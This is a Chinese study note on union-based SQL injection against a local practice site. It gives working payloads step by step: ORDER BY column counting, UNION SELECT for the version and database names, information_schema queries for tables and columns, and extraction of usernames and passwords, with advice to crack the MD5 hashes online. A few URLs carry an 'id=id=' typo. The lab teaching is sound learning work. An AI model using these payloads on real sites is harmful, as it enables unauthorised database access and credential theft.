SQL注⼊之union注⼊方式(学习笔记)

union查询注⼊是最基础的注⼊:在SQL中,UNION操作符⽤于合并两个或多个SELECT语句的结果。 union查询注⼊利⽤UNION关键字,可以追加⼀条或者多条额外的SELECT查询, 并将结果追加到原始查询中。联合查询会" 纵向" 拼接两个或多个SELECT语句的结果。

适用条件:1.存在注入点 2.注入前后要对应(union 前后两个 select 的结果集,应具有相同列数; union 前后两个 select 的结果集,对应列应是相同数据类型)

注入步骤:
1.判断 是否存在 注⼊点 及 注⼊的类型
2.使用order by 来查询列数,观察回显
3.获取数据库名
4.获取数据库中所有的表名
5.获取数据库中所有的表中的字段名
6.获取字段中的数据

1.判断 是否存在注⼊点及注⼊的类型

2.使用order by 来查询列数,观察回显

建议用⽕狐渗透版浏览器来打开本地靶场,以我打开的靶场为例子,输入

http://localhost/bbs/showmessage.php?id=1

http://localhost/bbs/showmessage.php?id=1 order by 1

http://localhost/bbs/showmessage.php?id=1 order by 5

从一一直尝试到五,如果到数字n报错则有(n-1)列,即有(n-1)个可能的注入点

判断出有4列,之后输入http://localhost/bbs/showmessage.php?id=id=-1 union select 1,2,3,4

这句话的目的是判断有几个点可以真正注入,有几列并不意味着都能注入

细心的读者一定会发现id=-1,这是希望正确的语句不去影响注入语句,故而写错。

到这里第一和第二步就都完成了

3.获取数据库名

输入http://localhost/bbs/showmessage.php?id=-1 union select 1,2,version(),database()

这是方法一,还有方法二

http://localhost/bbs/showmessage.php?id=id=-1 union select 1,2,version(),(select group_concat(schema_name) from information_schema.schemata)

这两种方法均能得到对应的版本号和数据库名,方法一获得自己的数据库名,方法二则是全部数据库名

(select group_concat(schema_name) from information_schema.schemata)

对应在Mysql中查询所有数据库名,还有简单版

id=-1 union select 1,2,version(),group_concat(schema_name) from information_schema.schemata

4.获取数据库中所有的表名

http://localhost/bbs/showmessage.php?id=-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schema='jrlt'

我们来分析一下注入点

group_concat(table_name) from information_schema.tables where table_schema='jrlt'(查询'jrlt'数据库中的所有表)

5.获得数据库对应表中的所有字段

http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'

我们来分析一下注入点

group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'

这里是查询'jrlt'数据库中的user表中的所有字段

6.获取字段中的数据

http://localhost/bbs/showmessage.php?id=-5 union select 1,2,3,concat(name,':',password) from users limit 0,1

id=-5 union select 1,2,3,concat(name,':',password) from users limit 0,1

分析注入点需要的是'jrlt'数据库中的user表中的name和password,选择我们所需要的内容

获取到的密码被加密成MD5格式,可以访问http://cmd5.com/来破解

相关推荐
sbjdhjd13 小时前
PHP eval 型 RCE:flag 正则过滤与通配符绕过实操 | 01
安全·web安全·网络安全·开源·系统安全·php·网络攻击模型
Chockmans14 天前
春秋云境CVE-2025-49113
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2025-49113
HackTwoHub16 天前
开箱即用 AI 渗透测试系统,整合多类AI工具、Web安全、内网攻防、二进制逆向、API测试、流量分析等多个安全领域
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
Aision_25 天前
实习学习笔记:HTTP请求走私漏洞全方位解析
笔记·学习·安全·web安全·http·网络安全·网络攻击模型
艺杯羹1 个月前
从攻击者视角拆解12306:SYN泛洪、CC攻击与候补机制的攻防博弈
网络·web安全·网络安全·网络攻击模型·攻防
HackTwoHub1 个月前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
sbjdhjd1 个月前
SQL 注入零基础详解:原理、手工注入流程与 Sqli-Labs 靶场实战1~5关和第9关思路
数据库·sql·计算机网络·web安全·网络安全·网络攻击模型·安全架构
X7x52 个月前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
其实防守也摸鱼2 个月前
运维--怎么看接口的请求和返回
运维·学习·网络安全·网络攻击模型·burpsuite·攻防对抗·蓝队
其实防守也摸鱼2 个月前
蓝队相关知识学习(1)---常用堡垒机和服务器
服务器·功能测试·学习·网络安全·网络攻击模型·攻防对抗·蓝队